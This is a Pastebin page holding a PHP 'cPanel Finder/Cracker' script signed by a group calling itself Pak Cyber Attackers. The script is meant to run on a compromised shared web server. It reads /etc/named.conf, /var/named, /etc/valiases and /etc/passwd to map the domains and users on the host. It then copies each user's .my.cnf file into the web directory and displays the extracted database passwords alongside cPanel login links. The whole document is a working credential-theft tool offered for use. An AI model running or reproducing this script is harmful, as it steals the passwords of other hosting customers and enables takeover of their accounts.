Hexlook

cphex.php

Nov 21st, 2017
115
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.00 KB | None | 0 0
  1. <?php
  2. /**
  3.  * @author: Hexlook
  4.  * @Last Updated: 01 June 2015
  5. */
  6.  
  7. @ini_set('display_errors',0);
  8. function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
  9.     $ar0=explode($marqueurDebutLien, $text);
  10.     $ar1=explode($marqueurFinLien, $ar0[$i]);
  11.     return trim($ar1[0]);
  12. }
  13.  
  14. echo '<html><head>
  15. <title>Automatic cPanel Finder/Cracker | Hexlook</title>
  16. <meta content="text/html; charset=utf-8">
  17. <meta name="keywords" content="cPanel Cracker, Hexlook" />
  18. <meta name="description" content="Automatic cPanel Finder/Cracker" />
  19. <meta name="author" content="Hexlook" />
  20. <link rel="SHORTCUT ICON" href="http://i58.tinypic.com/103y0cn.gif">
  21. <link href="http://fonts.googleapis.com/css?family=Iceland" rel="stylesheet" type="text/css">
  22. <link rel="stylesheet" type="text/css" href="http://faisalahmed.me/wp-content/assets/css/1.css">
  23. </head><body>';
  24. echo '<div style="font-family: Iceland;font-size: 35pt;text-shadow: 0 0 6px #CCC, 0 0 5px #CCC, 0 0 5px #CCC;color: #00CCCC">cPanel Finder/Cracker<br /><sub>Hexlook</sub></div><br/>';
  25.  
  26. echo "<center>";
  27. $d0mains = @file('/etc/named.conf');
  28. $domains = scandir("/var/named");
  29.  
  30. if ($domains or $d0mains)
  31. {
  32.     $domains = scandir("/var/named");
  33.     if($domains) {
  34. echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
  35. $count=1;
  36. $dc = 0;
  37. $list = scandir("/var/named");
  38. foreach($list as $domain){
  39. if(strpos($domain,".db")){
  40. $domain = str_replace('.db','',$domain);
  41. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  42. $dirz = '/home/'.$owner['name'].'/.my.cnf';
  43. $path = getcwd();
  44.  
  45. if (is_readable($dirz)) {
  46. copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
  47. $p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
  48. $password=entre2v2($p,'password="','"');
  49. echo "<tr><td>".$count++."</td><td><a href='http://".$domain.":2082' target='_blank'>".$domain."</a></td><td>".$owner['name']."</td><td>".$password."</td><td><a href='".$owner['name'].".txt' target='_blank'>Click Here</a></td></tr>";
  50. $dc++;
  51. }
  52.  
  53. }
  54. }
  55. echo '</table>';
  56. $total = $dc;
  57. echo '<br><div class="result">Total cPanel Found = '.$total.'</h3><br />';
  58. echo '</center>';
  59. }else{
  60. $d0mains = @file('/etc/named.conf');
  61.     if($d0mains) {
  62. echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
  63. $count=1;
  64. $dc = 0;
  65. $mck = array();
  66. foreach($d0mains as $d0main){
  67.     if(@eregi('zone',$d0main)){
  68.         preg_match_all('#zone "(.*)"#',$d0main,$domain);
  69.         flush();
  70.         if(strlen(trim($domain[1][0])) >2){
  71.             $mck[] = $domain[1][0];
  72.         }
  73.     }
  74. }
  75. $mck = array_unique($mck);
  76. $usr = array();
  77. $dmn = array();
  78. foreach($mck as $o) {
  79.     $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
  80.     $usr[] = $infos['name'];
  81.     $dmn[] = $o;
  82. }
  83. array_multisort($usr,$dmn);
  84. $dt = file('/etc/passwd');
  85. $passwd = array();
  86. foreach($dt as $d) {
  87.     $r = explode(':',$d);
  88.     if(strpos($r[5],'home')) {
  89.         $passwd[$r[0]] = $r[5];
  90.     }
  91. }
  92. $l=0;
  93. $j=1;
  94. foreach($usr as $r) {
  95. $dirz = '/home/'.$r.'/.my.cnf';
  96. $path = getcwd();
  97. if (is_readable($dirz)) {
  98. copy($dirz, ''.$path.'/'.$r.'.txt');
  99. $p=file_get_contents(''.$path.'/'.$r.'.txt');
  100. $password=entre2v2($p,'password="','"');
  101. echo "<tr><td>".$count++."</td><td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td>'.$r."</td><td>".$password."</td><td><a href='".$r.".txt' target='_blank'>Click Here</a></td></tr>";
  102. $dc++;
  103.                 flush();
  104.                 $l=$l?0:1;
  105.                 $j++;
  106.                                 }
  107.             }
  108.                         }
  109. echo '</table>';
  110. $total = $dc;
  111. echo '<br><div class="result">Total cPanel Found = '.$total.'</h3><br />';
  112. echo '</center>';
  113.  
  114. }
  115. }else{
  116. echo "<div class='result'><i><font color='#00CCCC'>ERROR</font><br><font color='#00CCCC'>/var/named</font> or <font color='#00CCCC'>etc/named.conf</font> Not Accessible!</i></div>";
  117. }
  118. echo "Hexlook | Pak Cyber Attackers";
  119. echo "</body></html>";
  120. ?>
Add Comment
Please, Sign In to add comment